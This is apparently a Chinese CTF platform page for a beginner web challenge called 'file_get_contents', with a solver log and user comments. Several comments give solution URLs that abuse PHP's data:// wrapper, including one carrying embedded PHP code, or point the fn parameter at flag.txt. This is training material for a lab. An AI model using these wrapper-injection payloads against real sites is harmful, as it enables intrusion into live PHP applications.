file_get_contentsWEB 未解决
分数:
30
金币:
3
题目作者:
harry
一 血:
npfs
一血奖励:
2金币
解 决:
5218
提 示:
描 述:
file_get_contents？？？？
评分(7)
解题动态
nwnmc 攻破了该题 7小时前
yokoi 攻破了该题 9小时前
薄言. 攻破了该题 10小时前
baizhi白栀 攻破了该题 13小时前
huopt 攻破了该题 14小时前
fish12139 攻破了该题 2天前
店晓贰 攻破了该题 2天前
kkctf 攻破了该题 3天前
15922111842 攻破了该题 3天前
Ylanz 攻破了该题 3天前
momo666 攻破了该题 4天前
bctivy99 攻破了该题 4天前
sectmp 攻破了该题 4天前
WWls= 攻破了该题 4天前
asdliuyan 攻破了该题 4天前
平静的子弹 攻破了该题 5天前
liaty 攻破了该题 5天前
小丽 攻破了该题 5天前
怎么都吃不饱 攻破了该题 5天前
评论
Hacker23 14天前
举报
http://160.202.254.160:15622/?ac=%3C?php%20echo%201;?%3E&fn=data://text/plain,%3C?php%20echo%201;?%3E
Hacker23 14天前
举报
http://160.202.254.160:15622/?ac=hello&fn=data://text/plain,hello
Cipher07 1月前
举报
?ac=flag&fn=data://text/plain,flag加上就行了哦
微笑刺客 1月前
举报
根据题意，会把输入得内容与ac值进行比较，使用php://input伪协议控制文件内容，读取并返回一个值，然后令ac=相同得值即可直接得出flag，http://160.202.248.161:16606/?fn=data://text/plain,test&ac=test
suxiansheng 1月前
举报
http://171.80.2.169:14784/?ac=bugku&fn=flag.txt
抗着破烂上靶场 1月前
举报
用dirsearch扫描之后发现有个flag.txt文件，直接把fn指向这个文件，f被赋值为文件中的内容，ac直接赋值成文件的内容就行
testctffff 2月前
举报
这题就是考察data：//的用法。 当data：//后跟php代码时，会执行代码。 后跟字符串时，会直接输出。
Hrkh 8月前
举报
使用dirsearch扫描,找到一个flag.txt打开后里边内容为bugku,传参?ac=bugku&fn=flag.txt得到FLAG
zxcvbnmzhang 9月前
举报
?ac=hello&fn=data://text/plain,hello
ibuprofen 9月前
举报
?ac=bugku&fn=flag.txt